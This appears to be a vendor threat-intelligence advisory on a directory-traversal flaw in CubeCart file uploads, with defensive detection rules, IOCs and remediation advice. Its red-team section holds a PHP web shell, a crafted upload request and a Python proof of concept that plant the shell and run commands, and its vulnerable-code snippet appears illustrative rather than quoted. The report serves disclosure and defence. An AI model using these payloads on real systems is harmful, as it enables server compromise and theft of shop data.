CVE-2024-34832

Executive Summary

CVE-2024-34832 is a Directory Traversal vulnerability in CubeCart versions 6.5.5 and earlier. The flaw resides in the _g and node parameters, allowing an attacker to upload a crafted file that traverses directories and executes arbitrary code on the server. This can lead to full remote code execution (RCE), data exfiltration, and complete compromise of the web application. No official patch has been released, and the vendor has not responded to disclosure attempts. The vulnerability is publicly known with proof-of-concept code available, posing a critical risk to all unpatched CubeCart installations.

Supply Chain & Package Security

CubeCart is a standalone PHP e-commerce application, not distributed via NPM, PyPI, Go, or Ruby. The risk is limited to direct server-side exploitation of the application itself.

CVSS Breakdown & Threat Level

While no official CVSS vector is provided, based on the nature of the vulnerability (unauthenticated directory traversal leading to RCE), the estimated CVSS v3.1 score is 9.8 (Critical).

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Threat Level: Critical. Exploitation is trivial and can be performed by unauthenticated attackers.

Deep Dive & Mechanics

The vulnerability exists in the file upload functionality of CubeCart. The _g and node parameters are used to specify the upload directory path. Due to insufficient input validation, an attacker can inject path traversal sequences (e.g., ../) into these parameters to write files outside the intended upload directory.

Attack Flow:

1. The attacker sends a crafted HTTP request to the CubeCart application, targeting the file upload endpoint.
2. The request includes a malicious file (e.g., a PHP web shell) and manipulates the _g and node parameters to include directory traversal sequences.
3. The application processes the request and writes the uploaded file to an arbitrary location on the server, such as the web root.
4. The attacker then accesses the uploaded file via a web browser, triggering execution of the malicious code.

Root Cause: Lack of sanitization and validation of user-supplied path parameters before file operations.

Vulnerable vs. Patched Code

Vulnerable Code (CubeCart <= 6.5.5):

// In file upload handler
$upload_dir = $_GET['_g'] . '/' . $_GET['node'];
move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . '/' . $_FILES['file']['name']);

Patched Code (Hypothetical):

// In file upload handler
$base_dir = '/var/www/uploads/';
$upload_dir = realpath($base_dir . '/' . basename($_GET['_g']) . '/' . basename($_GET['node']));
if (strpos($upload_dir, $base_dir) !== 0) {
    die('Invalid path');
}
move_uploaded_file($_FILES['file']['tmp_name'], $upload_dir . '/' . basename($_FILES['file']['name']));

The patched version uses realpath() and basename() to resolve and restrict the path, preventing traversal.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• CubeCart 6.5.5 or earlier installed.
• Web server with PHP and file upload functionality enabled.

Exploit Steps:

1. Create a malicious PHP file (e.g., shell.php) with the following content:

   <?php system($_GET['cmd']); ?>
   

2. Send a crafted HTTP POST request to the upload endpoint:

   POST /index.php?_g=../&node=../ HTTP/1.1
   Host: target.com
   Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
   
   ------WebKitFormBoundary
   Content-Disposition: form-data; name="file"; filename="shell.php"
   Content-Type: application/x-php
   
   <?php system($_GET['cmd']); ?>
   ------WebKitFormBoundary--
   

3. Access the uploaded shell at http://target.com/shell.php?cmd=id.

Proof-of-Concept (Python):

import requests

url = "http://target.com/index.php"
files = {'file': ('shell.php', '<?php system($_GET["cmd"]); ?>', 'application/x-php')}
params = {'_g': '../', 'node': '../'}
r = requests.post(url, files=files, params=params)
print("Shell uploaded to http://target.com/shell.php")

Blue Team (Defensive)

Detection:

• Monitor for HTTP requests containing ../ in _g or node parameters.
• Alert on file uploads to unexpected directories (e.g., web root).
• Use WAF rules to block path traversal patterns.

Hunting:

• Search for files with suspicious names (e.g., shell.php, cmd.php) in web-accessible directories.
• Review web server logs for POST requests to index.php with unusual parameter values.

Indicators of Compromise (IOCs)

• File System:
  • Unexpected PHP files in web root (e.g., /var/www/html/shell.php).
  • Files with recent modification timestamps in unusual locations.
• Network:
  • HTTP requests with _g=../ or node=../ parameters.
  • Outbound connections from the web server to unknown IPs (e.g., for reverse shells).
• Logs:
  • Web server logs showing POST /index.php?_g=../&node=../ entries.
  • PHP error logs indicating file write failures or permission issues.

Detection Engineering

YARA Rule

rule CVE_2024_34832_CubeCart_Traversal {
    meta:
        description = "Detects path traversal attempts in CubeCart upload parameters"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-34832"
    strings:
        $param1 = "_g=../"
        $param2 = "node=../"
        $php_shell = "<?php system("
    condition:
        any of ($param*) or $php_shell
}

Sigma Rule

title: CubeCart Directory Traversal Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects path traversal in CubeCart _g and node parameters
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains:
            - '_g=../'
            - 'node=../'
    condition: selection
falsepositives:
    - Legitimate use of relative paths (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-34832 CubeCart Directory Traversal"; flow:to_server,established; content:"POST"; http_method; content:"index.php"; http_uri; content:"_g=../"; http_uri; content:"node=../"; http_uri; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable file uploads in CubeCart until a patch is available.
2. Apply a virtual patch using a WAF to block requests containing ../ in _g or node parameters.
3. Restrict file write permissions on the web server to prevent writes to the web root.

Long-Term Fix:

• Upgrade to a patched version of CubeCart once released.
• If no patch is forthcoming, consider migrating to an alternative e-commerce platform.
• Implement strict input validation and sanitization for all user-supplied path parameters.

Valters IT Signature

This report was generated by Valters IT Cyber Threat Intelligence Division.